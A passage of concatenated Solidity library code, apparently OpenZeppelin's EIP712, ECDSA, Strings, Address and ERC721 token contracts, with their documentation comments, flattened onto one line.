_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * 